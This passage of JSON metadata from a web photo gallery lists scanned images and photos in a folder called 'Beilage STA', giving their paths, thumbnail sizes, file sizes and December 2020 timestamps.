    001 (23)<\/h5>","thumb":{"path":"thumbs\/001%20%2823%29.jpg","width":340,"height":260},"fileSize":595736,"name":"001 (23).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2835%29.jpg","image":{"path":"slides\/001%20%2835%29.jpg","width":566,"height":800},"imageCaption":"
    001 (35)<\/h5>","thumb":{"path":"thumbs\/001%20%2835%29.jpg","width":340,"height":260},"fileSize":148971,"name":"001 (35).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2842%29.jpg","image":{"path":"slides\/001%20%2842%29.jpg","width":1000,"height":707},"imageCaption":"
    001 (42)<\/h5>","thumb":{"path":"thumbs\/001%20%2842%29.jpg","width":340,"height":260},"fileSize":1028979,"name":"001 (42).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2815%29.jpg","image":{"path":"slides\/001%20%2815%29.jpg","width":566,"height":800},"imageCaption":"
    001 (15)<\/h5>","thumb":{"path":"thumbs\/001%20%2815%29.jpg","width":340,"height":260},"fileSize":455448,"name":"001 (15).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2839%29.jpg","image":{"path":"slides\/001%20%2839%29.jpg","width":566,"height":800},"imageCaption":"
    001 (39)<\/h5>","thumb":{"path":"thumbs\/001%20%2839%29.jpg","width":340,"height":260},"fileSize":316418,"name":"001 (39).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2838%29.jpg","image":{"path":"slides\/001%20%2838%29.jpg","width":566,"height":800},"imageCaption":"
    001 (38)<\/h5>","thumb":{"path":"thumbs\/001%20%2838%29.jpg","width":340,"height":260},"fileSize":452149,"name":"001 (38).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2814%29.jpg","image":{"path":"slides\/001%20%2814%29.jpg","width":566,"height":800},"imageCaption":"
    001 (14)<\/h5>","thumb":{"path":"thumbs\/001%20%2814%29.jpg","width":340,"height":260},"fileSize":561556,"name":"001 (14).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2843%29.jpg","image":{"path":"slides\/001%20%2843%29.jpg","width":1000,"height":707},"imageCaption":"
    001 (43)<\/h5>","thumb":{"path":"thumbs\/001%20%2843%29.jpg","width":340,"height":260},"fileSize":1229991,"name":"001 (43).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2834%29.jpg","image":{"path":"slides\/001%20%2834%29.jpg","width":566,"height":800},"imageCaption":"
    001 (34)<\/h5>","thumb":{"path":"thumbs\/001%20%2834%29.jpg","width":340,"height":260},"fileSize":303637,"name":"001 (34).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2822%29.jpg","image":{"path":"slides\/001%20%2822%29.jpg","width":566,"height":800},"imageCaption":"
    001 (22)<\/h5>","thumb":{"path":"thumbs\/001%20%2822%29.jpg","width":340,"height":260},"fileSize":480597,"name":"001 (22).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2818%29.jpg","image":{"path":"slides\/001%20%2818%29.jpg","width":566,"height":800},"imageCaption":"
    001 (18)<\/h5>","thumb":{"path":"thumbs\/001%20%2818%29.jpg","width":340,"height":260},"fileSize":471245,"name":"001 (18).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}}],"name":"Beilage STA","dates":{"dateRange":{"0":1607634733,"1":1608229250}},"fileDate":"2020-12-19T16:59:52.572Z","category":"folder"},{"path":"S22C-620121018464_0001.jpg","image":{"path":"slides\/S22C-620121018464_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018464 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018464_0001.jpg","width":340,"height":260},"fileSize":352290,"name":"S22C-620121018464_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513303_0001.jpg","image":{"path":"slides\/S22C-620121513303_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513303 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513303_0001.jpg","width":340,"height":260},"fileSize":247702,"name":"S22C-620121513303_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019144_0001.jpg","image":{"path":"slides\/S22C-620121019144_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019144 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019144_0001.jpg","width":340,"height":260},"fileSize":947902,"name":"S22C-620121019144_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517004_0001.jpg","image":{"path":"slides\/S22C-620121517004_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517004 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517004_0001.jpg","width":340,"height":260},"fileSize":588970,"name":"S22C-620121517004_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516465_0001.jpg","image":{"path":"slides\/S22C-620121516465_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516465 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516465_0001.jpg","width":340,"height":260},"fileSize":488692,"name":"S22C-620121516465_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516464_0001.jpg","image":{"path":"slides\/S22C-620121516464_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516464 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516464_0001.jpg","width":340,"height":260},"fileSize":315635,"name":"S22C-620121516464_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513181_0001.jpg","image":{"path":"slides\/S22C-620121513181_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513181 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513181_0001.jpg","width":340,"height":260},"fileSize":349852,"name":"S22C-620121513181_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019132_0001.jpg","image":{"path":"slides\/S22C-620121019132_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019132 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019132_0001.jpg","width":340,"height":260},"fileSize":525585,"name":"S22C-620121019132_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019073_0001.jpg","image":{"path":"slides\/S22C-620121019073_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019073 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019073_0001.jpg","width":340,"height":260},"fileSize":702849,"name":"S22C-620121019073_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513052_0001.jpg","image":{"path":"slides\/S22C-620121513052_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513052_0001.jpg","width":340,"height":260},"fileSize":509709,"name":"S22C-620121513052_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018481_0001.jpg","image":{"path":"slides\/S22C-620121018481_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018481 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018481_0001.jpg","width":340,"height":260},"fileSize":447996,"name":"S22C-620121018481_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516450_0001.jpg","image":{"path":"slides\/S22C-620121516450_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121516450 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516450_0001.jpg","width":340,"height":260},"fileSize":159206,"name":"S22C-620121516450_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517031_0001.jpg","image":{"path":"slides\/S22C-620121517031_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517031_0001.jpg","width":340,"height":260},"fileSize":223196,"name":"S22C-620121517031_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019031_0001.jpg","image":{"path":"slides\/S22C-620121019031_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019031_0001.jpg","width":340,"height":260},"fileSize":1206819,"name":"S22C-620121019031_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515441_0001.jpg","image":{"path":"slides\/S22C-620121515441_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515441 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515441_0001.jpg","width":340,"height":260},"fileSize":533403,"name":"S22C-620121515441_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018532_0001.jpg","image":{"path":"slides\/S22C-620121018532_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018532 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018532_0001.jpg","width":340,"height":260},"fileSize":353358,"name":"S22C-620121018532_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517013_0001.jpg","image":{"path":"slides\/S22C-620121517013_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517013 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517013_0001.jpg","width":340,"height":260},"fileSize":526727,"name":"S22C-620121517013_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517080_0001.jpg","image":{"path":"slides\/S22C-620121517080_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517080 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517080_0001.jpg","width":340,"height":260},"fileSize":390793,"name":"S22C-620121517080_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517081_0001.jpg","image":{"path":"slides\/S22C-620121517081_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517081 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517081_0001.jpg","width":340,"height":260},"fileSize":974343,"name":"S22C-620121517081_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515593_0001.jpg","image":{"path":"slides\/S22C-620121515593_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121515593 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515593_0001.jpg","width":340,"height":260},"fileSize":251817,"name":"S22C-620121515593_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019080_0001.jpg","image":{"path":"slides\/S22C-620121019080_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019080 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019080_0001.jpg","width":340,"height":260},"fileSize":615429,"name":"S22C-620121019080_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513131_0001.jpg","image":{"path":"slides\/S22C-620121513131_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513131 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513131_0001.jpg","width":340,"height":260},"fileSize":272509,"name":"S22C-620121513131_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515330_0001.jpg","image":{"path":"slides\/S22C-620121515330_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121515330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515330_0001.jpg","width":340,"height":260},"fileSize":699166,"name":"S22C-620121515330_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019110_0001.jpg","image":{"path":"slides\/S22C-620121019110_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019110 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019110_0001.jpg","width":340,"height":260},"fileSize":732215,"name":"S22C-620121019110_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019111_0001.jpg","image":{"path":"slides\/S22C-620121019111_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019111 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019111_0001.jpg","width":340,"height":260},"fileSize":702950,"name":"S22C-620121019111_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516431_0001.jpg","image":{"path":"slides\/S22C-620121516431_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516431 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516431_0001.jpg","width":340,"height":260},"fileSize":391776,"name":"S22C-620121516431_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516430_0001.jpg","image":{"path":"slides\/S22C-620121516430_0001.jpg","width":1000,"height":615},"imageCaption":"
    S22C-620121516430 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516430_0001.jpg","width":340,"height":260},"fileSize":219224,"name":"S22C-620121516430_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019051_0001.jpg","image":{"path":"slides\/S22C-620121019051_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019051_0001.jpg","width":340,"height":260},"fileSize":796312,"name":"S22C-620121019051_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517111_0001.jpg","image":{"path":"slides\/S22C-620121517111_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517111 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517111_0001.jpg","width":340,"height":260},"fileSize":928779,"name":"S22C-620121517111_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019050_0001.jpg","image":{"path":"slides\/S22C-620121019050_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019050_0001.jpg","width":340,"height":260},"fileSize":740990,"name":"S22C-620121019050_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516024_0001.jpg","image":{"path":"slides\/S22C-620121516024_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516024 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516024_0001.jpg","width":340,"height":260},"fileSize":424482,"name":"S22C-620121516024_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513260_0001.jpg","image":{"path":"slides\/S22C-620121513260_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513260 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513260_0001.jpg","width":340,"height":260},"fileSize":543832,"name":"S22C-620121513260_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513320_0001.jpg","image":{"path":"slides\/S22C-620121513320_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513320 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513320_0001.jpg","width":340,"height":260},"fileSize":860847,"name":"S22C-620121513320_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018330_0001.jpg","image":{"path":"slides\/S22C-620121018330_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018330_0001.jpg","width":340,"height":260},"fileSize":520456,"name":"S22C-620121018330_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516490_0001.jpg","image":{"path":"slides\/S22C-620121516490_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516490 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516490_0001.jpg","width":340,"height":260},"fileSize":160504,"name":"S22C-620121516490_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513211_0001.jpg","image":{"path":"slides\/S22C-620121513211_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513211 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513211_0001.jpg","width":340,"height":260},"fileSize":473424,"name":"S22C-620121513211_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513210_0001.jpg","image":{"path":"slides\/S22C-620121513210_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513210 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513210_0001.jpg","width":340,"height":260},"fileSize":428607,"name":"S22C-620121513210_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516592_0001.jpg","image":{"path":"slides\/S22C-620121516592_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121516592 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516592_0001.jpg","width":340,"height":260},"fileSize":624666,"name":"S22C-620121516592_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517160_0001.jpg","image":{"path":"slides\/S22C-620121517160_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517160 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517160_0001.jpg","width":340,"height":260},"fileSize":412153,"name":"S22C-620121517160_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517161_0001.jpg","image":{"path":"slides\/S22C-620121517161_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517161 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517161_0001.jpg","width":340,"height":260},"fileSize":672730,"name":"S22C-620121517161_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515472_0001.jpg","image":{"path":"slides\/S22C-620121515472_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515472 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515472_0001.jpg","width":340,"height":260},"fileSize":299098,"name":"S22C-620121515472_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516441_0001.jpg","image":{"path":"slides\/S22C-620121516441_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516441 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516441_0001.jpg","width":340,"height":260},"fileSize":419452,"name":"S22C-620121516441_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516440_0001.jpg","image":{"path":"slides\/S22C-620121516440_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516440 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516440_0001.jpg","width":340,"height":260},"fileSize":400594,"name":"S22C-620121516440_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513140_0001.jpg","image":{"path":"slides\/S22C-620121513140_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513140 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513140_0001.jpg","width":340,"height":260},"fileSize":206057,"name":"S22C-620121513140_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019090_0001.jpg","image":{"path":"slides\/S22C-620121019090_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019090 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019090_0001.jpg","width":340,"height":260},"fileSize":623143,"name":"S22C-620121019090_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019091_0001.jpg","image":{"path":"slides\/S22C-620121019091_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019091 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019091_0001.jpg","width":340,"height":260},"fileSize":496148,"name":"S22C-620121019091_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018462_0001.jpg","image":{"path":"slides\/S22C-620121018462_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018462 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018462_0001.jpg","width":340,"height":260},"fileSize":405141,"name":"S22C-620121018462_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515451_0001.jpg","image":{"path":"slides\/S22C-620121515451_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515451 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515451_0001.jpg","width":340,"height":260},"fileSize":269777,"name":"S22C-620121515451_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019143_0001.jpg","image":{"path":"slides\/S22C-620121019143_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019143 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019143_0001.jpg","width":340,"height":260},"fileSize":675033,"name":"S22C-620121019143_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019142_0001.jpg","image":{"path":"slides\/S22C-620121019142_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019142 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019142_0001.jpg","width":340,"height":260},"fileSize":965494,"name":"S22C-620121019142_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513162_0001.jpg","image":{"path":"slides\/S22C-620121513162_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513162 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513162_0001.jpg","width":340,"height":260},"fileSize":691220,"name":"S22C-620121513162_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513163_0001.jpg","image":{"path":"slides\/S22C-620121513163_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513163 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513163_0001.jpg","width":340,"height":260},"fileSize":161620,"name":"S22C-620121513163_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018282_0001.jpg","image":{"path":"slides\/S22C-620121018282_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018282 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018282_0001.jpg","width":340,"height":260},"fileSize":257821,"name":"S22C-620121018282_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019041_0001.jpg","image":{"path":"slides\/S22C-620121019041_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019041_0001.jpg","width":340,"height":260},"fileSize":1018112,"name":"S22C-620121019041_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513061_0001.jpg","image":{"path":"slides\/S22C-620121513061_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513061 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513061_0001.jpg","width":340,"height":260},"fileSize":1614849,"name":"S22C-620121513061_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019100_0001.jpg","image":{"path":"slides\/S22C-620121019100_0001.jpg","width":1000,"height":707},"imageCaption":"
